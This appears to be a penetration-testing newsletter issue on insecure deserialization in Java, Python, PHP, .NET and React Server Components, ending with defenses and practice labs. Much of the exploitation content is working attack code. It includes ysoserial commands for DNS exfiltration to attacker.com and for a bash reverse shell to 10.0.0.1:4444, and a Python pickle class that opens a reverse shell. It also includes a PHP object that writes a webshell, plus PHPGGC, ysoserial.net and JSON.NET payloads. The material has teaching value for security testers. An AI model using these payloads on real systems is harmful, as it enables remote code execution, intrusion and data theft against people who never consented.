Deserialization Attacks: When Objects Become Weapons
10 min read
January 25, 2026

Table of contents
👋 Introduction
Hey everyone!
Let me be blunt. Deserialization vulnerabilities are criminally underestimated. You find one of these in an app? You’re often one payload away from RCE. Not “maybe if you chain three other bugs.” Not “escalate privileges first.” Just one malicious serialized object and boom, you’ve got a shell.
That’s what makes these so dangerous. Applications take serialized data, reconstruct it into objects, and during that reconstruction process you can execute arbitrary code. The application trusts that serialized blob. You weaponize that trust.
Here’s the kicker: this affects basically every major language. Java has gadget chains that go straight to RCE. Python’s pickle module? The docs literally say “don’t trust this.” PHP’s unserialize() has been getting people popped for over a decade. .NET formatters are exploitable. Even bleeding-edge React Server Components had a serialization bug with a CVSS 10.0 rating.
This week we’re covering everything you need to weaponize deserialization bugs. What they are and why apps use them. How to spot them in the wild. Exploitation techniques across Java, Python, PHP, .NET, and React. Defense strategies. And hands-on labs so you can practice.
Quick note: This issue focuses on classic deserialization. For JavaScript prototype pollution (which shares similar attack patterns through object manipulation), check out Issue #24.
If you test web apps, you need to understand this attack class. Let’s weaponize some objects 👇
🎯 Understanding Serialization
Serialization converts live objects into transmittable data. Binary formats (Java, .NET, Python pickle) or text formats (JSON, XML). Apps need this for:
- Session management: Storing user sessions in cookies or databases
- Caching: Serializing objects to Redis or Memcached
- Microservices: Passing serialized data between services
- Message queues: RabbitMQ and Kafka transmit serialized messages
Why it’s dangerous:
When apps deserialize untrusted data, the language runtime reconstructs objects and triggers code execution. You control the serialized blob, you control what executes.
Magic methods execute automatically. Python’s __reduce__() fires during pickle deserialization. PHP calls __wakeup() and __destruct(). Java runs readObject(). These automatic method calls become your exploitation primitive.
Gadget chains weaponize existing code. Apps load libraries with classes that have exploitable side effects. Chain these “gadgets” together and you get RCE. Tools like ysoserial automate the entire process.
Apps trust serialized data implicitly. Unlike form input that gets validated, serialized objects often bypass security checks. The app treats them as trustworthy. That misplaced trust is your attack surface.
🔍 Detection
Identify serialized data signatures:
Each language has telltale patterns. Look for base64-encoded blobs in cookies, URL parameters, or POST bodies.
Java serialized objects start with rO0 (base64) or AC ED 00 05 (hex):
rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0...
PHP serialized data is text-based and human-readable:
a:2:{s:8:"username";s:5:"alice";s:4:"role";s:5:"admin";}
O:4:"User":2:{s:4:"name";s:5:"alice";}
Python pickle (base64-encoded):
gASVKAAAAAAAAACMCF9fbWFpbl9flIwEVXNlcpSTlCmBlH0...
.NET BinaryFormatter starts with AAEAAAD:
AAEAAAD/////AQAAAAAAAAAMAgAAAF...
HTTP headers and file extensions also reveal serialization:
Content-Type: application/x-java-serialized-object
Content-Type: application/x-python-pickle
File extensions: .ser (Java), .pickle or .pkl (Python), .bin (generic binary).
Testing for vulnerabilities:
Once you spot serialized data, decode the base64, modify values (username, role, permissions), re-encode, and send it back. If the app accepts your modified object, escalate to malicious payloads.
Test with known-bad payloads:
# Java - trigger 10 second delay
java -jar ysoserial.jar CommonsCollections5 'sleep 10' | base64
# Python - trigger 10 second delay
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ('sleep 10',))
print(base64.b64encode(pickle.dumps(Exploit())))
Watch for execution evidence: time delays, DNS lookups to your domain, HTTP callbacks, or error messages leaking class names. Any of these confirm code execution.
☕ Java Deserialization
Java deserialization is the OG of this vulnerability class. The Java ecosystem is massive. Libraries everywhere. Apache Commons Collections, Spring Framework. All packed with gadget chains leading to RCE.
How it works:
Java serialization turns objects into byte streams. Classes implement Serializable and the JVM handles everything automatically. Convenient for developers. Perfect for attackers.
The vulnerability triggers when readObject() processes untrusted data you control.
Gadget chains:
Apps load libraries with classes that have exploitable side effects. Each class is a “gadget.” Chain enough together, you get code execution.
Apache Commons Collections (versions 3.1-3.2.1 and 4.0) is the classic example. Loaded with exploitable gadgets. And this library is everywhere in enterprise Java apps.
ysoserial automates everything:
# Generate Commons Collections payload
java -jar ysoserial.jar CommonsCollections6 'touch /tmp/pwned' > payload.ser
# Base64 encode for web delivery
cat payload.ser | base64
# DNS exfiltration to confirm execution
java -jar ysoserial.jar CommonsCollections5 'nslookup $(whoami).attacker.com' | base64
# Reverse shell
java -jar ysoserial.jar CommonsCollections5 'bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"' | base64
Your exploitation workflow:
Find serialized Java object (cookie, parameter, POST body). Generate ysoserial payload with DNS callback. Confirm execution. Escalate to full RCE. Pop a reverse shell or exfiltrate data.
Oracle WebLogic Server has been a goldmine for Java deserialization bugs. T3 protocol vulnerabilities. The _async component. Both allowed unauthenticated RCE.
🐍 Python Pickle Exploitation
Python pickle is inherently unsafe. Not “potentially risky if misconfigured.” Inherently unsafe. The official Python docs literally warn you:
“Warning: The pickle module is not secure. Only unpickle data you trust.”
Why pickle is dangerous:
Pickle serializes arbitrary Python objects. Functions, classes, whatever. During deserialization, it executes code through the __reduce__() magic method.
How easy is exploitation? Watch:
import pickle
import os
import base64
class Exploit:
def __reduce__(self):
# __reduce__ returns (callable, arguments)
# This executes os.system('whoami') during unpickling
return (os.system, ('whoami',))
# Serialize malicious object
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())
App calls pickle.loads() on that payload? os.system('whoami') executes. That simple.
Vulnerable code pattern:
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/load_session', methods=['POST'])
def load_session():
# VULNERABLE: Deserializing user input
session_data = request.data
session = pickle.loads(session_data)
return f"Loaded session for {session['username']}"
Exploitation:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = 'bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"'
return (os.system, (cmd,))
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())
# Send to /load_session endpoint
Pickle bugs show up everywhere. Waitress HTTP Server had one. Python Cryptography Library had one. All led to RCE.
🐘 PHP unserialize() Exploitation
PHP’s unserialize() has been a gift that keeps on giving for over a decade. Legacy PHP apps love deserializing user input without validation.
PHP serialization format:
PHP serialization is text-based and human-readable. Makes it trivial to spot and manipulate:
// Array serialization
a:2:{s:8:"username";s:5:"alice";s:4:"role";s:5:"admin";}
// Object serialization
O:4:"User":2:{s:4:"name";s:5:"alice";s:4:"role";s:5:"admin";}
Format breakdown:
a:2:{}- Array with 2 elementss:8:"username"- String of length 8O:4:"User"- Object of class “User” with name length 4
Magic methods and POP chains:
PHP magic methods fire automatically during object lifecycle:
__wakeup() // Called during unserialize()
__destruct() // Called when object is destroyed
__toString() // Called when object is treated as string
POP Chains (Property-Oriented Programming) chain object properties and magic methods to achieve code execution. Gadget chains for PHP.
Example vulnerable code:
class Logger {
private $logfile;
public function __destruct() {
// VULNERABLE: Executes during object destruction
file_put_contents($this->logfile, "Log closed\n", FILE_APPEND);
}
}
// Somewhere in the application
$data = unserialize($_COOKIE['session']);
Exploitation:
<?php
class Logger {
private $logfile = '/var/www/html/shell.php';
}
$exploit = new Logger();
echo serialize($exploit);
// O:6:"Logger":1:{s:15:"Loggerlogfile";s:22:"/var/www/html/shell.php";}
App unserializes this? __destruct() writes to /var/www/html/shell.php. Webshell deployed.
PHPGGC automates POP chain exploitation:
# List available gadget chains
./phpggc -l
# Generate Laravel RCE payload
./phpggc Laravel/RCE1 system 'id'
# Generate Symfony RCE payload
./phpggc Symfony/RCE4 system 'whoami'
PHP unserialize bugs keep appearing. cPanel had object injection in session handling. Apache CouchDB had unserialize issues. PHPMailer got hit with object injection via the phar:// wrapper.
⚛️ Modern Frameworks - React Server Components
Serialization bugs aren’t just legacy tech. React Server Components got hit with CVE-2025-55182, a CVSS 10.0 prototype pollution bug in the Flight Protocol.
Attack vector:
{
"__proto__": {
"isAdmin": true,
"shell": "require('child_process').exec('whoami')"
}
}
User input flows into Flight serialization. Malicious object pollutes Object.prototype. Downstream code executes contaminated property. RCE in Node.js context. Actively exploited in the wild.
Fix: Update to React >= 19.1.0 or Next.js >= 15.3.2. Check Issue #24 for prototype pollution fundamentals.
Serialization bugs exist everywhere. Legacy Java apps. Cutting-edge JavaScript frameworks. Everywhere.
🔷 .NET Deserialization
Microsoft officially says BinaryFormatter is dangerous and you shouldn’t use it. They gave up trying to secure it.
ysoserial.net generates .NET payloads:
# BinaryFormatter
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "whoami"
# JSON.NET TypeNameHandling
ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc"
JSON.NET with TypeNameHandling.All includes type info that enables RCE:
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"ObjectInstance": { "$type": "System.Diagnostics.Process, System" }
}
Microsoft SharePoint gets owned via .NET deserialization in the ViewState parameter. Unauthenticated RCE. Core .NET Framework components (DataSet, DataTable) have had multiple bugs.
🛠️ Tools for Deserialization Testing
ysoserial - Your go-to for Java deserialization. Generates payloads for dozens of Java libraries.
# Download and use
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
java -jar ysoserial-all.jar [payload] [command]
ysoserial.net - The .NET equivalent. Supports BinaryFormatter, NetDataContractSerializer, JSON.NET, and more.
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64
PHPGGC - Automates POP chain exploitation for PHP frameworks. Laravel, Symfony, WordPress, you name it.
./phpggc Laravel/RCE1 system 'id' | base64
marshalsec - Research toolkit for Java unmarshalling bugs. JNDI injection, RMI exploitation, gadget chain research.
Burp Suite Extensions:
- Java Deserialization Scanner: Automates detection of Java deserialization bugs
- Freddy: Active and passive scanner for deserialization across multiple languages
🧪 Labs
PortSwigger Web Security Academy - Insecure Deserialization: Comprehensive labs covering PHP object manipulation, Java gadget chains, PHPGGC exploitation, and custom chain development.
HackTheBox Machines:
- Arkham (Medium): Java deserialization via ViewState
- Tenet (Medium): PHP unserialize() exploitation
- JSON (Medium): .NET JSON.NET TypeNameHandling
- Fatty (Insane): Custom Java gadget chains
🔒 Defense and Mitigation
Golden rule: Never deserialize untrusted data.
You control the serialization source and transmission channel? Safe. Users can influence the serialized data? Vulnerable.
Use safe serialization formats:
Replace binary serialization with safer alternatives:
# UNSAFE
import pickle
data = pickle.loads(user_input)
# SAFE
import json
data = json.loads(user_input)
JSON, XML, and Protocol Buffers can’t execute arbitrary code during deserialization. Use them.
Language-specific mitigations:
Java: Use ObjectInputFilter (JDK 9+) to whitelist allowed classes:
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("com.example.SafeClass;!*");
ois.setObjectInputFilter(filter);
Python: Use json instead of pickle. If pickle is required, implement class validation with RestrictedUnpickler.
.NET: Avoid BinaryFormatter entirely. Use System.Text.Json or MessagePack.
PHP: Use allowed_classes option:
// Only allow specific classes
$data = unserialize($input, ['allowed_classes' => ['User', 'Session']]);
// Disallow all classes (primitives only)
$data = unserialize($input, ['allowed_classes' => false]);
Monitor and detect:
Log all deserialization operations. Alert on known malicious class names (CommonsCollections, ObjectDataProvider). Implement rate limiting on deserialization endpoints.
🎯 Key Takeaways
Deserialization bugs give you direct RCE. No chaining. No privilege escalation. Find it, exploit it, you’ve got code execution.
Every major language is vulnerable. Java (ysoserial gadget chains), Python (pickle is inherently unsafe), PHP (POP chains), .NET (BinaryFormatter deprecated), React (CVSS 10.0 prototype pollution). All exploitable.
Detection is straightforward. Base64 blobs in cookies or POST bodies. Specific signatures: rO0 (Java), gASV (Python pickle), O:4:"User" (PHP), AAEAAAD (.NET). Once you know the patterns, exploitation is trivial.
Tools automate everything. ysoserial, ysoserial.net, PHPGGC. Most attacks don’t need custom gadget chains.
That’s it for this week.
The challenge is recognition. Serialized data is buried in cookies, POST bodies, binary protocols. Learn those signatures. Master the tools. Practice on PortSwigger labs and HackTheBox machines.
Golden rule: never deserialize untrusted data.
Thanks for reading, and happy hunting!
— Ruben
Other Issues
Previous Issue
Next Issue
💬 Comments Available
Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.